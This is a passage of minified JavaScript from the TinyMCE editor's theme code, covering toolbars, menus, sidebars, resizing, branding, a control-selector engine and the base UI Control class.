e,t,r=[];if(w.each(!1===(t=(e=n).getParam("toolbar"))?[]:w.isArray(t)?w.grep(t,function(e){return 0<e.length}):function(e,t){for(var n=[],i=1;i<10;i++){var r=e["toolbar"+i];if(!r)break;n.push(r)}var o=e.toolbar?[e.toolbar]:[t];return 0<n.length?n:o}(e.settings,"undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image"),function(e){var t;(t=e)&&r.push(D(n,t,i))}),r.length)return{type:"panel",layout:"stack",classes:"toolbar-grp",ariaRoot:!0,ariaRemember:!0,items:r}},B=p.DOM,L=function(e){return{left:e.x,top:e.y,width:e.w,height:e.h,right:e.x+e.w,bottom:e.y+e.h}},z=function(e,t){e.moveTo(t.left,t.top)},I=function(e,t,n,i,r,o){return o=L({x:t,y:n,w:o.w,h:o.h}),e&&(o=e({elementRect:L(i),contentAreaRect:L(r),panelRect:o})),o},F=function(x){var i,o=function(){return x.contextToolbars||[]},n=function(e,t){var n,i,r,o,s,a,l,u=x.getParam("inline_toolbar_position_handler");if(!x.removed){if(!e||!e.toolbar.panel)return c=x,void w.each(c.contextToolbars,function(e){e.panel&&e.panel.hide()});var c,d,f,h,m;l=["bc-tc","tc-bc","tl-bl","bl-tl","tr-br","br-tr"],s=e.toolbar.panel,t&&s.show(),d=e.element,f=B.getPos(x.getContentAreaContainer()),h=x.dom.getRect(d),"BODY"===(m=x.dom.getRoot()).nodeName&&(h.x-=m.ownerDocument.documentElement.scrollLeft||m.scrollLeft,h.y-=m.ownerDocument.documentElement.scrollTop||m.scrollTop),h.x+=f.x,h.y+=f.y,r=h,i=B.getRect(s.getEl()),o=B.getRect(x.getContentAreaContainer()||x.getBody());var g,p,v,b=W.getUiContainerDelta(s).getOr({x:0,y:0});if(r.x+=b.x,r.y+=b.y,i.x+=b.x,i.y+=b.y,o.x+=b.x,o.y+=b.y,"inline"!==B.getStyle(e.element,"display",!0)){var y=e.element.getBoundingClientRect();r.w=y.width,r.h=y.height}x.inline||(o.w=x.getDoc().documentElement.offsetWidth),x.selection.controlSelection.isResizable(e.element)&&r.w<25&&(r=C.inflate(r,0,8)),n=C.findBestRelativePosition(i,r,o,l),r=C.clamp(r,o),n?(a=C.relativePosition(i,r,n),z(s,I(u,a.x,a.y,r,o,i))):(o.h+=i.h,(r=C.intersect(o,r))?(n=C.findBestRelativePosition(i,r,o,["bc-tc","bl-tl","br-tr"]))?(a=C.relativePosition(i,r,n),z(s,I(u,a.x,a.y,r,o,i))):z(s,I(u,r.x,r.y,r,o,i)):s.hide()),g=s,v=function(e,t){return e===t},p=(p=n)?p.substr(0,2):"",w.each({t:"down",b:"up"},function(e,t){g.classes.toggle("arrow-"+e,v(t,p.substr(0,1)))}),w.each({l:"left",r:"right"},function(e,t){g.classes.toggle("arrow-"+e,v(t,p.substr(1,1)))})}},r=function(e){return function(){u.requestAnimationFrame(function(){x.selection&&n(a(x.selection.getNode()),e)})}},t=function(e){var t;if(e.toolbar.panel)return e.toolbar.panel.show(),void n(e);t=v.create({type:"floatpanel",role:"dialog",classes:"tinymce tinymce-inline arrow",ariaLabel:"Inline toolbar",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:!0,border:1,items:O(x,e.toolbar.items),oncancel:function(){x.focus()}}),W.setUiContainer(x,t),function(e){if(!i){var t=r(!0),n=W.getUiContainer(e);i=x.selection.getScrollContainer()||x.getWin(),B.bind(i,"scroll",t),B.bind(n,"scroll",t),x.on("remove",function(){B.unbind(i,"scroll",t),B.unbind(n,"scroll",t)})}}(t),(e.toolbar.panel=t).renderTo().reflow(),n(e)},s=function(){w.each(o(),function(e){e.panel&&e.panel.hide()})},a=function(e){var t,n,i,r=o();for(t=(i=x.$(e).parents().add(e)).length-1;0<=t;t--)for(n=r.length-1;0<=n;n--)if(r[n].predicate(i[t]))return{toolbar:r[n],element:i[t]};return null};x.on("click keyup setContent ObjectResized",function(e){("setcontent"!==e.type||e.selection)&&u.setEditorTimeout(x,function(){var e;(e=a(x.selection.getNode()))?(s(),t(e)):s()})}),x.on("blur hide contextmenu",s),x.on("ObjectResizeStart",function(){var e=a(x.selection.getNode());e&&e.toolbar.panel&&e.toolbar.panel.hide()}),x.on("ResizeEditor ResizeWindow",r(!0)),x.on("nodeChange",r(!1)),x.on("remove",function(){w.each(o(),function(e){e.panel&&e.panel.remove()}),x.contextToolbars={}}),x.shortcuts.add("ctrl+F9","",function(){var e=a(x.selection.getNode());e&&e.toolbar.panel&&e.toolbar.panel.items()[0].focus()})},U=function(t){return function(e){return function(e){if(null===e)return"null";var t=typeof e;return"object"===t&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"===t&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":t}(e)===t}},V=U("array"),Y=U("function"),$=U("number"),q=(Array.prototype.slice,Array.prototype.indexOf),X=Array.prototype.push,j=function(e,t){var n,i,r=(n=e,i=t,q.call(n,i));return-1===r?N.none():N.some(r)},J=function(e,t){for(var n=0,i=e.length;n<i;n++)if(t(e[n],n))return!0;return!1},G=function(e,t){for(var n=e.length,i=new Array(n),r=0;r<n;r++){var o=e[r];i[r]=t(o,r)}return i},K=function(e,t){for(var n=0,i=e.length;n<i;n++)t(e[n],n)},Z=function(e,t){for(var n=[],i=0,r=e.length;i<r;i++){var o=e[i];t(o,i)&&n.push(o)}return n},Q=(Y(Array.from)&&Array.from,{file:{title:"File",items:"newdocument restoredraft | preview | print"},edit:{title:"Edit",items:"undo redo | cut copy paste pastetext | selectall"},view:{title:"View",items:"code | visualaid visualchars visualblocks | spellchecker | preview fullscreen"},insert:{title:"Insert",items:"image link media template codesample inserttable | charmap hr | pagebreak nonbreaking anchor toc | insertdatetime"},format:{title:"Format",items:"bold italic underline strikethrough superscript subscript codeformat | blockformats align | removeformat"},tools:{title:"Tools",items:"spellchecker spellcheckerlanguage | a11ycheck code"},table:{title:"Table"},help:{title:"Help"}}),ee=function(e,t){return"|"===e?{name:"|",item:{text:"|"}}:t?{name:e,item:t}:null},te=function(e,t){return function(e,t){for(var n=0,i=e.length;n<i;n++)if(t(e[n],n))return N.some(n);return N.none()}(e,function(e){return e.name===t}).isSome()},ne=function(e){return e&&"|"===e.item.text},ie=function(n,e,t,i){var r,o,s,a,l,u,c;return e?(o=e[i],a=!0):o=Q[i],o&&(r={text:o.title},s=[],w.each((o.items||"").split(/[ ,]/),function(e){var t=ee(e,n[e]);t&&s.push(t)}),a||w.each(n,function(e,t){e.context!==i||te(s,t)||("before"===e.separator&&s.push({name:"|",item:{text:"|"}}),e.prependToContext?s.unshift(ee(t,e)):s.push(ee(t,e)),"after"===e.separator&&s.push({name:"|",item:{text:"|"}}))}),r.menu=G((l=t,u=Z(s,function(e){return!1===l.hasOwnProperty(e.name)}),c=Z(u,function(e,t){return!ne(e)||!ne(u[t-1])}),Z(c,function(e,t){return!ne(e)||0<t&&t<c.length-1})),function(e){return e.item}),!r.menu.length)?null:r},re=function(e){for(var t,n=[],i=function(e){var t,n=[],i=h(e);if(i)for(t in i)n.push(t);else for(t in Q)n.push(t);return n}(e),r=w.makeMap((t=e,t.getParam("removed_menuitems","")).split(/[ ,]/)),o=c(e),s="string"==typeof o?o.split(/[ ,]/):i,a=0;a<s.length;a++){var l=s[a],u=ie(e.menuItems,h(e),r,l);u&&n.push(u)}return n},oe=p.DOM,se=function(e){return{width:e.clientWidth,height:e.clientHeight}},ae=function(e,t,n){var i,r,o,s;i=e.getContainer(),r=e.getContentAreaContainer().firstChild,o=se(i),s=se(r),null!==t&&(t=Math.max(e.getParam("min_width",100,"number"),t),t=Math.min(e.getParam("max_width",65535,"number"),t),oe.setStyle(i,"width",t+(o.width-s.width)),oe.setStyle(r,"width",t)),n=Math.max(e.getParam("min_height",100,"number"),n),n=Math.min(e.getParam("max_height",65535,"number"),n),oe.setStyle(r,"height",n),y(e)},le=ae,ue=function(e,t,n){var i=e.getContentAreaContainer();ae(e,i.clientWidth+t,i.clientHeight+n)},ce=tinymce.util.Tools.resolve("tinymce.Env"),de=function(e,t,n){var i,r=e.settings[n];r&&r((i=t.getEl("body"),{element:function(){return i}}))},fe=function(c,d,f){return function(e){var t,n,i,r,o,s=e.control,a=s.parents().filter("panel")[0],l=a.find("#"+d)[0],u=(t=f,n=d,w.grep(t,function(e){return e.name===n})[0]);i=d,r=a,o=f,w.each(o,function(e){var t=r.items().filter("#"+e.name)[0];t&&t.visible()&&e.name!==i&&(de(e,t,"onhide"),t.visible(!1))}),s.parent().items().each(function(e){e.active(!1)}),l&&l.visible()?(de(u,l,"onhide"),l.hide(),s.active(!1)):(l?l.show():(l=v.create({type:"container",name:d,layout:"stack",classes:"sidebar-panel",html:""}),a.prepend(l),de(u,l,"onrender")),de(u,l,"onshow"),s.active(!0)),y(c)}},he=function(e){return!(ce.ie&&!(11<=ce.ie)||!e.sidebars)&&0<e.sidebars.length},me=function(n){return{type:"panel",name:"sidebar",layout:"stack",classes:"sidebar",items:[{type:"toolbar",layout:"stack",classes:"sidebar-toolbar",items:w.map(n.sidebars,function(e){var t=e.settings;return{type:"button",icon:t.icon,image:t.image,tooltip:t.tooltip,onclick:fe(n,e.name,n.sidebars)}})}]}},ge=function(e){var t=function(){e._skinLoaded=!0,o(e)};return function(){e.initialized?t():e.on("init",t)}},pe=p.DOM,ve=function(e){return{type:"panel",name:"iframe",layout:"stack",classes:"edit-area",border:e,html:""}},be=function(t,e,n){var i,r,o,s,a;if(!1===m(t)&&n.skinUiCss?pe.styleSheetLoader.load(n.skinUiCss,ge(t)):ge(t)(),i=e.panel=v.create({type:"panel",role:"application",classes:"tinymce",style:"visibility: hidden",layout:"stack",border:1,items:[{type:"container",classes:"top-part",items:[!1===d(t)?null:{type:"menubar",border:"0 0 1 0",items:re(t)},A(t,f(t))]},he(t)?(s=t,{type:"panel",layout:"stack",classes:"edit-aria-container",border:"1 0 0 0",items:[ve("0"),me(s)]}):ve("1 0 0 0")]}),W.setUiContainer(t,i),"none"!==g(t)&&(r={type:"resizehandle",direction:g(t),onResizeStart:function(){var e=t.getContentAreaContainer().firstChild;o={width:e.clientWidth,height:e.clientHeight}},onResize:function(e){"both"===g(t)?le(t,o.width+e.deltaX,o.height+e.deltaY):le(t,null,o.height+e.deltaY)}}),t.getParam("statusbar",!0,"boolean")){var l=b.translate(["Powered by {0}",'<a href="https://www.tiny.cloud/?utm_campaign=editor_referral&amp;utm_medium=poweredby&amp;utm_source=tinymce" rel="noopener" target="_blank" role="presentation" tabindex="-1">Tiny</a>']),u=t.getParam("branding",!0,"boolean")?{type:"label",classes:"branding",html:" "+l}:null;i.add({type:"panel",name:"statusbar",classes:"statusbar",layout:"flow",border:"1 0 0 0",ariaRoot:!0,items:[{type:"elementpath",editor:t},r,u]})}return x(t),t.on("SwitchMode",(a=i,function(e){a.find("*").disabled("readonly"===e.mode)})),i.renderBefore(n.targetNode).reflow(),t.getParam("readonly",!1,"boolean")&&t.setMode("readonly"),n.width&&pe.setStyle(i.getEl(),"width",n.width),t.on("remove",function(){i.remove(),i=null}),R(t,i),F(t),{iframeContainer:i.find("#iframe")[0].getEl(),editorContainer:i.getEl()}},ye=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),xe=0,we={id:function(){return"mceu_"+xe++},create:function(e,t,n){var i=_.document.createElement(e);return p.DOM.setAttribs(i,t),"string"==typeof n?i.innerHTML=n:w.each(n,function(e){e.nodeType&&i.appendChild(e)}),i},createFragment:function(e){return p.DOM.createFragment(e)},getWindowSize:function(){return p.DOM.getViewPort()},getSize:function(e){var t,n;if(e.getBoundingClientRect){var i=e.getBoundingClientRect();t=Math.max(i.width||i.right-i.left,e.offsetWidth),n=Math.max(i.height||i.bottom-i.bottom,e.offsetHeight)}else t=e.offsetWidth,n=e.offsetHeight;return{width:t,height:n}},getPos:function(e,t){return p.DOM.getPos(e,t||we.getContainer())},getContainer:function(){return ce.container?ce.container:_.document.body},getViewPort:function(e){return p.DOM.getViewPort(e)},get:function(e){return _.document.getElementById(e)},addClass:function(e,t){return p.DOM.addClass(e,t)},removeClass:function(e,t){return p.DOM.removeClass(e,t)},hasClass:function(e,t){return p.DOM.hasClass(e,t)},toggleClass:function(e,t,n){return p.DOM.toggleClass(e,t,n)},css:function(e,t,n){return p.DOM.setStyle(e,t,n)},getRuntimeStyle:function(e,t){return p.DOM.getStyle(e,t,!0)},on:function(e,t,n,i){return p.DOM.bind(e,t,n,i)},off:function(e,t,n){return p.DOM.unbind(e,t,n)},fire:function(e,t,n){return p.DOM.fire(e,t,n)},innerHtml:function(e,t){p.DOM.setHTML(e,t)}},_e=function(e){return"static"===we.getRuntimeStyle(e,"position")},Re=function(e){return e.state.get("fixed")};function Ce(e,t,n){var i,r,o,s,a,l,u,c,d,f;return d=Ee(),o=(r=we.getPos(t,W.getUiContainer(e))).x,s=r.y,Re(e)&&_e(_.document.body)&&(o-=d.x,s-=d.y),i=e.getEl(),a=(f=we.getSize(i)).width,l=f.height,u=(f=we.getSize(t)).width,c=f.height,"b"===(n=(n||"").split(""))[0]&&(s+=c),"r"===n[1]&&(o+=u),"c"===n[0]&&(s+=Math.round(c/2)),"c"===n[1]&&(o+=Math.round(u/2)),"b"===n[3]&&(s-=l),"r"===n[4]&&(o-=a),"c"===n[3]&&(s-=Math.round(l/2)),"c"===n[4]&&(o-=Math.round(a/2)),{x:o,y:s,w:a,h:l}}var Ee=function(){var e=_.window;return{x:Math.max(e.pageXOffset,_.document.body.scrollLeft,_.document.documentElement.scrollLeft),y:Math.max(e.pageYOffset,_.document.body.scrollTop,_.document.documentElement.scrollTop),w:e.innerWidth||_.document.documentElement.clientWidth,h:e.innerHeight||_.document.documentElement.clientHeight}},ke=function(e){var t,n=W.getUiContainer(e);return n&&!Re(e)?{x:0,y:0,w:(t=n).scrollWidth-1,h:t.scrollHeight-1}:Ee()},He={testMoveRel:function(e,t){for(var n=ke(this),i=0;i<t.length;i++){var r=Ce(this,e,t[i]);if(Re(this)){if(0<r.x&&r.x+r.w<n.w&&0<r.y&&r.y+r.h<n.h)return t[i]}else if(r.x>n.x&&r.x+r.w<n.w+n.x&&r.y>n.y&&r.y+r.h<n.h+n.y)return t[i]}return t[0]},moveRel:function(e,t){"string"!=typeof t&&(t=this.testMoveRel(e,t));var n=Ce(this,e,t);return this.moveTo(n.x,n.y)},moveBy:function(e,t){var n=this.layoutRect();return this.moveTo(n.x+e,n.y+t),this},moveTo:function(e,t){var n=this;function i(e,t,n){return e<0?0:t<e+n&&(e=t-n)<0?0:e}if(n.settings.constrainToViewport){var r=ke(this),o=n.layoutRect();e=i(e,r.w+r.x,o.w),t=i(t,r.h+r.y,o.h)}var s=W.getUiContainer(n);return s&&_e(s)&&!Re(n)&&(e-=s.scrollLeft,t-=s.scrollTop),s&&(e+=1,t+=1),n.state.get("rendered")?n.layoutRect({x:e,y:t}).repaint():(n.settings.x=e,n.settings.y=t),n.fire("move",{x:e,y:t}),n}},Se=tinymce.util.Tools.resolve("tinymce.util.Class"),Te=tinymce.util.Tools.resolve("tinymce.util.EventDispatcher"),Me=function(e){var t;if(e)return"number"==typeof e?{top:e=e||0,left:e,bottom:e,right:e}:(1===(t=(e=e.split(" ")).length)?e[1]=e[2]=e[3]=e[0]:2===t?(e[2]=e[0],e[3]=e[1]):3===t&&(e[3]=e[1]),{top:parseInt(e[0],10)||0,right:parseInt(e[1],10)||0,bottom:parseInt(e[2],10)||0,left:parseInt(e[3],10)||0})},Ne=function(i,e){function t(e){var t=parseFloat(function(e){var t=i.ownerDocument.defaultView;if(t){var n=t.getComputedStyle(i,null);return n?(e=e.replace(/[A-Z]/g,function(e){return"-"+e}),n.getPropertyValue(e)):null}return i.currentStyle[e]}(e));return isNaN(t)?0:t}return{top:t(e+"TopWidth"),right:t(e+"RightWidth"),bottom:t(e+"BottomWidth"),left:t(e+"LeftWidth")}};function Pe(){}function We(e){this.cls=[],this.cls._map={},this.onchange=e||Pe,this.prefix=""}w.extend(We.prototype,{add:function(e){return e&&!this.contains(e)&&(this.cls._map[e]=!0,this.cls.push(e),this._change()),this},remove:function(e){if(this.contains(e)){var t=void 0;for(t=0;t<this.cls.length&&this.cls[t]!==e;t++);this.cls.splice(t,1),delete this.cls._map[e],this._change()}return this},toggle:function(e,t){var n=this.contains(e);return n!==t&&(n?this.remove(e):this.add(e),this._change()),this},contains:function(e){return!!this.cls._map[e]},_change:function(){delete this.clsValue,this.onchange.call(this)}}),We.prototype.toString=function(){var e;if(this.clsValue)return this.clsValue;e="";for(var t=0;t<this.cls.length;t++)0<t&&(e+=" "),e+=this.prefix+this.cls[t];return e};var De,Oe,Ae,Be=/^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i,Le=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,ze=/^\s*|\s*$/g,Ie=Se.extend({init:function(e){var o=this.match;function s(e,t,n){var i;function r(e){e&&t.push(e)}return r(function(t){if(t)return t=t.toLowerCase(),function(e){return"*"===t||e.type===t}}((i=Be.exec(e.replace(ze,"")))[1])),r(function(t){if(t)return function(e){return e._name===t}}(i[2])),r(function(n){if(n)return n=n.split("."),function(e){for(var t=n.length;t--;)if(!e.classes.contains(n[t]))return!1;return!0}}(i[3])),r(function(n,i,r){if(n)return function(e){var t=e[n]?e[n]():"";return i?"="===i?t===r:"*="===i?0<=t.indexOf(r):"~="===i?0<=(" "+t+" ").indexOf(" "+r+" "):"!="===i?t!==r:"^="===i?0===t.indexOf(r):"$="===i&&t.substr(t.length-r.length)===r:!!r}}(i[4],i[5],i[6])),r(function(i){var t;if(i)return(i=/(?:not\((.+)\))|(.+)/i.exec(i))[1]?(t=a(i[1],[]),function(e){return!o(e,t)}):(i=i[2],function(e,t,n){return"first"===i?0===t:"last"===i?t===n-1:"even"===i?t%2==0:"odd"===i?t%2==1:!!e[i]&&e[i]()})}(i[7])),t.pseudo=!!i[7],t.direct=n,t}function a(e,t){var n,i,r,o=[];do{if(Le.exec(""),(i=Le.exec(e))&&(e=i[3],o.push(i[1]),i[2])){n=i[3];break}}while(i);for(n&&a(n,t),e=[],r=0;r<o.length;r++)">"!==o[r]&&e.push(s(o[r],[],">"===o[r-1]));return t.push(e),t}this._selectors=a(e,[])},match:function(e,t){var n,i,r,o,s,a,l,u,c,d,f,h,m;for(n=0,i=(t=t||this._selectors).length;n<i;n++){for(m=e,h=0,r=(o=(s=t[n]).length)-1;0<=r;r--)for(u=s[r];m;){if(u.pseudo)for(c=d=(f=m.parent().items()).length;c--&&f[c]!==m;);for(a=0,l=u.length;a<l;a++)if(!u[a](m,c,d)){a=l+1;break}if(a===l){h++;break}if(r===o-1)break;m=m.parent()}if(h===o)return!0}return!1},find:function(e){var t,n,u=[],i=this._selectors;function c(e,t,n){var i,r,o,s,a,l=t[n];for(i=0,r=e.length;i<r;i++){for(a=e[i],o=0,s=l.length;o<s;o++)if(!l[o](a,i,r)){o=s+1;break}if(o===s)n===t.length-1?u.push(a):a.items&&c(a.items(),t,n+1);else if(l.direct)return;a.items&&c(a.items(),t,n)}}if(e.items){for(t=0,n=i.length;t<n;t++)c(e.items(),i[t],0);1<n&&(u=function(e){for(var t,n=[],i=e.length;i--;)(t=e[i]).__checked||(n.push(t),t.__checked=1);for(i=n.length;i--;)delete n[i].__checked;return n}(u))}return De||(De=Ie.Collection),new De(u)}}),Fe=Array.prototype.push,Ue=Array.prototype.slice;Ae={length:0,init:function(e){e&&this.add(e)},add:function(e){return w.isArray(e)?Fe.apply(this,e):e instanceof Oe?this.add(e.toArray()):Fe.call(this,e),this},set:function(e){var t,n=this,i=n.length;for(n.length=0,n.add(e),t=n.length;t<i;t++)delete n[t];return n},filter:function(t){var e,n,i,r,o=[];for("string"==typeof t?(t=new Ie(t),r=function(e){return t.match(e)}):r=t,e=0,n=this.length;e<n;e++)r(i=this[e])&&o.push(i);return new Oe(o)},slice:function(){return new Oe(Ue.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},each:function(e){return w.each(this,e),this},toArray:function(){return w.toArray(this)},indexOf:function(e){for(var t=this.length;t--&&this[t]!==e;);return t},reverse:function(){return new Oe(w.toArray(this).reverse())},hasClass:function(e){return!!this[0]&&this[0].classes.contains(e)},prop:function(t,n){var e;return n!==undefined?(this.each(function(e){e[t]&&e[t](n)}),this):(e=this[0])&&e[t]?e[t]():void 0},exec:function(t){var n=w.toArray(arguments).slice(1);return this.each(function(e){e[t]&&e[t].apply(e,n)}),this},remove:function(){for(var e=this.length;e--;)this[e].remove();return this},addClass:function(t){return this.each(function(e){e.classes.add(t)})},removeClass:function(t){return this.each(function(e){e.classes.remove(t)})}},w.each("fire on off show hide append prepend before after reflow".split(" "),function(n){Ae[n]=function(){var t=w.toArray(arguments);return this.each(function(e){n in e&&e[n].apply(e,t)}),this}}),w.each("text name disabled active selected checked visible parent value data".split(" "),function(t){Ae[t]=function(e){return this.prop(t,e)}}),Oe=Se.extend(Ae);var Ve=Ie.Collection=Oe,Ye=function(e){this.create=e.create};Ye.create=function(r,o){return new Ye({create:function(t,n){var i,e=function(e){t.set(n,e.value)};return t.on("change:"+n,function(e){r.set(o,e.value)}),r.on("change:"+o,e),(i=t._bindings)||(i=t._bindings=[],t.on("destroy",function(){for(var e=i.length;e--;)i[e]()})),i.push(function(){r.off("change:"+o,e)}),r.get(o)}})};var $e=tinymce.util.Tools.resolve("tinymce.util.Observable");function qe(e){return 0<e.nodeType}var Xe,je,Je=Se.extend({Mixins:[$e],init:function(e){var t,n;for(t in e=e||{})(n=e[t])instanceof Ye&&(e[t]=n.create(this,t));this.data=e},set:function(t,n){var i,r,o=this.data[t];if(n instanceof Ye&&(n=n.create(this,t)),"object"==typeof t){for(i in t)this.set(i,t[i]);return this}return function e(t,n){var i,r;if(t===n)return!0;if(null===t||null===n)return t===n;if("object"!=typeof t||"object"!=typeof n)return t===n;if(w.isArray(n)){if(t.length!==n.length)return!1;for(i=t.length;i--;)if(!e(t[i],n[i]))return!1}if(qe(t)||qe(n))return t===n;for(i in r={},n){if(!e(t[i],n[i]))return!1;r[i]=!0}for(i in t)if(!r[i]&&!e(t[i],n[i]))return!1;return!0}(o,n)||(this.data[t]=n,r={target:this,name:t,value:n,oldValue:o},this.fire("change:"+t,r),this.fire("change",r)),this},get:function(e){return this.data[e]},has:function(e){return e in this.data},bind:function(e){return Ye.create(this,e)},destroy:function(){this.fire("destroy")}}),Ge={},Ke={add:function(e){var t=e.parent();if(t){if(!t._layout||t._layout.isNative())return;Ge[t._id]||(Ge[t._id]=t),Xe||(Xe=!0,u.requestAnimationFrame(function(){var e,t;for(e in Xe=!1,Ge)(t=Ge[e]).state.get("rendered")&&t.reflow();Ge={}},_.document.body))}},remove:function(e){Ge[e._id]&&delete Ge[e._id]}},Ze="onmousewheel"in _.document,Qe=!1,et=0,tt={Statics:{classPrefix:"mce-"},isRtl:function(){return je.rtl},classPrefix:"mce-",init:function(t){var e,n,i=this;function r(e){var t;for(e=e.split(" "),t=0;t<e.length;t++)i.classes.add(e[t])}i.settings=t=w.extend({},i.Defaults,t),i._id=t.id||"mceu_"+et++,i._aria={role:t.role},i._elmCache={},i.$=ye,i.state=new Je({visible:!0,active:!1,disabled:!1,value:""}),i.data=new Je(t.data),i.classes=new We(function(){i.state.get("rendered")&&(i.getEl().className=this.toString())}),i.classes.prefix=i.classPrefix,(e=t.classes)&&(i.Defaults&&(n=i.Defaults.classes)&&e!==n&&r(n),r(e)),w.each("title text name visible disabled active value".split(" "),function(e){e in t&&i[e](t[e])}),i.on("click",function(){if(i.disabled())return!1}),i.settings=t,i.borderBox=Me(t.border),i.paddingBox=Me(t.padding),i.marginBox=Me(t.margin),t.hidden&&i.hide()},Properties:"parent,name",getContainerElm:function(){var e=W.getUiContainer(this);return e||we.getContainer()},getParentCtrl:function(e){for(var t,n=this.getRoot().controlIdLookup;e&&n&&!(t=n[e.id]);)e=e.parentNode;return t},initLayoutRect:function(){var e,t,n,i,r,o,s,a,l,u,c=this,d=c.settings,f=c.getEl();e=c.borderBox=c.borderBox||Ne(f,"border"),c.paddingBox=c.paddingBox||Ne(f,"padding"),c.marginBox=c.marginBox||Ne(f,"margin"),u=we.getSize(f),a=d.minWidth,l=d.minHeight,r=a||u.width,o=l||u.height,n=d.width,i=d.height,s=void 0!==(s=d.autoResize)?s:!n&&!i,n=n||r,i=i||o;var h=e.left+e.right,m=e.top+e.bottom,g=d.maxWidth||65535,p=d.maxHeight||65535;return c._layoutRect=t={x:d.x||0,y:d.y||0,w:n,h:i,deltaW:h,deltaH:m,contentW:n-h,contentH:i-m,innerW:n-h,innerH:i-m,startMinWidth:a||0,startMinHeight:l||0,minW:Math.min(r,g),minH:Math.min(o,p),maxW:g,maxH:p,autoResize:s,scrollW:0},c._lastLayoutRect={},t},layoutRect:function(e){var t,n,i,r,o,s=this,a=s._layoutRect;return a||(a=s.initLayoutRect()),e?(i=a.deltaW,r=a.deltaH,e.x!==undefined&&(a.x=e.x),e.y!==undefined&&(a.y=e.y),e.minW!==undefined&&(a.minW=e.minW),e.minH!==undefined&&(a.minH=e.minH),(n=e.w)!==undefined&&(n=(n=n<a.minW?a.minW:n)>a.maxW?a.maxW:n,a.w=n,a.innerW=n-i),(n=e.h)!==undefined&&(n=(n=n<a.minH?a.minH:n)>a.maxH?a.maxH:n,a.h=n,a.innerH=n-r),(n=e.innerW)!==undefined&&(n=(n=n<a.minW-i?a.minW-i:n)>a.maxW-i?a.maxW-i:n,a.innerW=n,a.w=n+i),(n=e.innerH)!==undefined&&(n=(n=n<a.minH-r?a.minH-r:n)>a.maxH-r?a.maxH-r:n,a.innerH=n,a.h=n+r),e.contentW!==undefined&&(a.contentW=e.contentW),e.contentH!==undefined&&(a.contentH=e.contentH),(t=s._lastLayoutRect).x===a.x&&t.y===a.y&&t.w===a.w&&t.h===a.h||((o=je.repaintControls)&&o.map&&!o.map[s._id]&&(o.push(s),o.map[s._id]=!0),t.x=a.x,t.y=a.y,t.w=a.w,t.h=a.h),s):a},repaint:function(){var e,t,n,i,r,o,s,a,l,u,c=this;l=_.document.createRange?function(e){return e}:Math.round,e=c.getEl().style,i=c._layoutRect,a=c._lastRepaintRect||{},o=(r=c.borderBox).left+r.right,s=r.top+r.bottom,i.x!==a.x&&(e.left=l(i.x)+"px",a.x=i.x),i.y!==a.y&&(e.top=l(i.y)+"px",a.y=i.y),i.w!==a.w&&(u=l(i.w-o),e.width=(0<=u?u:0)+"px",a.w=i.w),i.h!==a.h&&(u=l(i.h-s),e.height=(0<=u?u:0)+"px",a.h=i.h),c._hasBody&&i.innerW!==a.innerW&&(u=l(i.innerW),(n=c.getEl("body"))&&((t=n.style).width=(0<=u?u:0)+"px"),a.innerW=i.innerW),c._hasBody&&i.innerH!==a.innerH&&(u=l(i.innerH),(n=n||c.getEl("body"))&&((t=t||n.style).height=(0<=u?u:0)+"px"),a.innerH=i.innerH),c._lastRepaintRect=a,c.fire("repaint",{},!1)},updateLayoutRect:function(){var e=this;e.parent()._lastRect=null,we.css(e.getEl(),{width:"",height:""}),e._layoutRect=e._lastRepaintRect=e._lastLayoutRect=null,e.initLayoutRect()},on:function(e,t){var n,i,r,o=this;return nt(o).on(e,"string"!=typeof(n=t)?n:function(e){return i||o.parentsAndSelf().each(function(e){var t=e.settings.callbacks;if(t&&(i=t[n]))return r=e,!1}),i?i.call(r,e):(e.action=n,void this.fire("execute",e))}),o},off:function(e,t){return nt(this).off(e,t),this},fire:function(e,t,n){if((t=t||{}).control||(t.control=this),t=nt(this).fire(e,t),!1!==n&&this.parent)for(var i=this.parent();i&&!t.isPropagationStopped();)i.fire(e,t,!1),i=i.parent();return t},hasEventListeners:function(e){return nt(this).has(e)},parents:function(e){var t,n=new Ve;for(t=this.parent();t;t=t.parent())n.add(t);return e&&(n=n.filter(e)),n},parentsAndSelf:function(e){return new Ve(this).add(this.parents(e))},next:function(){var e=this.parent().items();return e[e.indexOf(this)+1]},prev:function(){var e=this.parent().items();return e[e.indexOf(this)-1]},innerHtml:function(e){return this.$el.html(e),this},getEl:function(e){var t=e?this._id+"-"+e:this._id;return this._elmCache[t]||(this._elmCache[t]=ye("#"+t)[0]),this._elmCache[t]},show:function(){return this.visible(!0)},hide:function(){return this.visible(!1)},focus:function(){try{this.getEl().focus()}catch(e){}return this},blur:function(){return this.getEl().blur(),this},aria:function(e,t){var n=this,i=n.getEl(n.ariaTarget);return void 0===t?n._aria[e]:(n._aria[e]=t,n.state.get("rendered")&&i.setAttribute("role"===e?e:"aria-"+e,t),n)},encode:function(e,t){return!1!==t&&(e=this.translate(e)),(e||"").replace(/[&<>"]/g,function(e){return"&#"+e.charCodeAt(0)+";"})},translate:function(e){return je.translate?je.translate(e):e},before:function(e){var t=this.parent();return t&&t.insert(e,t.items().indexOf(this),!0),this},after:function(e){var t=this.parent();return t&&t.insert(e,t.items().indexOf(this)),this},remove:function(){var t,e,n=this,i=n.getEl(),r=n.parent();if(n.items){var o=n.items().toArray();for(e=o.length;e--;)o[e].remove()}r&&r.items&&(t=[],r.items().each(function(e){e!==n&&t.push(e)}),r.items().set(t),r._lastRect=null),n._eventsRoot&&n._eventsRoot===n&&ye(i).off();var s=n.getRoot().controlIdLookup;return s&&delete 